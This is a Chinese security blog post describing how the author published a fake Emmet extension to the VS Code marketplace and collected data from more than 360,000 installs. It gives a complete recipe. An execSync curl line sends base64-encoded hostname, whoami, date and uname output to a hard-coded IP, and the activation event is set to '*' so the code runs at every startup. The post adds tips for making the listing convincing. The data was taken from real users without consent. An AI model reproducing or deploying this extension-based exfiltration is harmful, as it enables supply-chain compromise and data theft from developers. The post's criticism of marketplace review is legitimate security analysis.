作者:棟棟的棟
作者博客:https://d0n9.github.io/

靈感來源于fate0這篇 Package 釣魚 (編者注:Seebug Paper收錄該文后,知道創宇404實驗室在作者分析基礎上發現了新的釣魚行為,詳見《被忽視的攻擊面:Python package 釣魚》)

隨想做一次針對開發者的“釣魚”實驗,編程語言模塊庫的釣魚實驗fate0和ztz已經做過了,所以這次把實驗對象選擇編輯器(IDE)

5$買了一臺廉價vps用作收集用戶數據,收集以下信息。

  • hostname
  • whoami
  • date
  • uname
  • ip
mysql> desc db;
+----------+-----------------+------+-----+---------+----------------+
| Field    | Type            | Null | Key | Default | Extra          |
+----------+-----------------+------+-----+---------+----------------+
| id       | int(4) unsigned | NO   | PRI | NULL    | auto_increment |
| hostname | varchar(32)     | NO   |     | NULL    |                |
| whoami   | varchar(32)     | NO   |     | NULL    |                |
| date     | varchar(32)     | NO   |     | NULL    |                |
| uname    | varchar(32)     | NO   |     | NULL    |                |
| ide      | varchar(32)     | NO   |     | NULL    |                |
| ip       | varchar(32)     | NO   |     | NULL    |                |
+----------+-----------------+------+-----+---------+----------------+

獲取ip方式使用$_SERVER[“REMOTE_ADDR”]; 所以可能會不準確。

好了,回到主題

選擇制作Visual Stuio Code的“惡意”插件,需要用到的工具是 Yeoman 和 vsce

npm install -g yo generator-code npm install -g vsce

選擇TypeScript語言作為插件的代碼語言,可以導入Node.js進程通信模塊import { execSync } from ‘child_process’;,就可以使用exec() execSync() 執行命令

./test/src/extension.ts

execSync('curl "http://45.32.40.141/" --user-agent "$(echo `hostname`, `whoami`, `date "+%Y-%m-%d %H:%M:%S"`, `uname`, vscode | base64)"')

執行curl命令外帶出數據,有個不足沒有考慮Windows系統,這也是導致了最后插件安裝量很大但是實際有效數據不多的原因。

考慮再三還是把命令硬編碼在代碼里,因為只是一次實驗,如果下發腳本的方式就會被當作真的是惡意程序

還有一個知識點,vscode啟動默認是不加載插件的,這是因為官方考慮到加載插件會拖慢啟動速度,只有設置觸發條件才會啟動

./test/src/package.json

"activationEvents": [
    "onCommand:extension.sayHello"
],

改為

"activationEvents": [
    "*",
    "onCommand:extension.sayHello"
],

星號表示任何情況下都會觸發,就這么簡單,一個惡意的插件就做好了,當然為了使之更加逼真還要增加一些迷惑性的內容,比如README.md最好圖文并茂,再給插件設置一張icon,就可以上傳到 https://marketplace.visualstudio.com 了,幾分鐘就審核通過,那肯定是自動審核了

可能是因為Emmet知名度太高(用過sublime的小伙伴肯定知道這個插件)”惡意“插件上架僅兩天就有了二十九萬的安裝量,后來發現竟然還上了首頁熱門推薦,這是意想不到的,起初還在擔心如果不可控了咋辦,最后證明這個擔心是多余的,XDD

當然也不是那么順利,因為插件并沒有實際功能,還是被幾位外國人識破舉報了,周二一早就被官方下架了,從周六到周二僅持續了三天時間,相信如果是在正常插件中加入惡意代碼肯定會潛伏更長更不易被發現。

但是在下架的時候已經有了367004次的安裝量 https://marketplace.visualstudio.com/items?itemName=visualstuiocode.emmet#overview

因為每次啟動都會加載插件執行命令,所以上報的數據需要去重,hostname 加 whoami hash 后當作 uid 去重統計操作系統占比,可以看出other數量最多,這部分可能是Windows或是其他原因沒有上報數據

中招最多的國家top10,數據驗證使用 http://ip.taobao.com/service/getIpInfo.php

思考,是什么原因導致三天達到三十幾萬的安裝量呢?

這個鍋官方是背定了,因為官方審核機制不嚴格,spam 不及時,甚至還登上了首頁熱門推薦兩天才導致大量安裝,后續沒有補救措施,對于已經安裝了惡意插件的用戶沒有提示告知,只對插件做了下架處理,原本已經安裝的用戶還是會受影響。

ide有那么多,sublime 是使用Python寫插件,JetBrains家和Eclipse用Java,Notepad用c,都可以按照類似思路構造出惡意插件。

未來會不會再出現xcodeghost事件呢?拭目以待。

ref:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/539/